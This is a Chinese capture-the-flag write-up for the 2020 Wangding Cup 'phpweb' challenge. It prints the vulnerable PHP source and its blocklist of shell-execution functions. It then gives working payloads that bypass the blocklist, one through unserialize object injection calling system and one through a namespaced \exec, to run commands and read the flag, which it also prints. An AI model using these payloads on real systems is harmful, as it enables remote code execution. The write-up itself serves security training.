【网鼎杯 2020 朱雀组】phpweb

访问题目：
打开是一个获取时间的页面

查看网页源代码：

也并没有什么有用的，抓包分析：

试着改参数，读取代码：func=file_get_contents&p=index.php

<?php
          $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
          "escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
          "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
          "array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
          );
          function gettime($func, $p) {
            $result = call_user_func($func, $p);
            $a= gettype($result);
            if ($a == "string") {
              return $result;
            } else {
              return "";
            }
          }
          class Test {
            var $p = "Y-m-d h:i:s a";
            var $func = "date";
            function __destruct() {
              if ($this->
          func != "") {
            echo gettime($this->func, $this->p);
          }
        }
      }
      $func = $_REQUEST["func"];
      $p = $_REQUEST["p"];
      if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
          echo gettime($func, $p);
        }else {
          die("Hacker...");
        }
      }
      ?>

存在一个很强的黑名单，基本上过滤了已知的危险函数
但是这个class有点意思

function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }


    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

没有对参数进行验证，可以进行绕过
本地测试：

<?php 

function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}

class Test {
    var $p = "ls";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}


$a = new Test();

echo serialize($a);
 ?>

测试发现可以执行命令：

试着读取flag：
payload:
func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:25:“cat $(find / -name flag*)”;s:4:“func”;s:6:“system”;}

ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}

解法二：
命名空间绕过黑名单：

func=\exec&p=ls

读取flag：
func=\exec&p=cat $(find / -name flag*)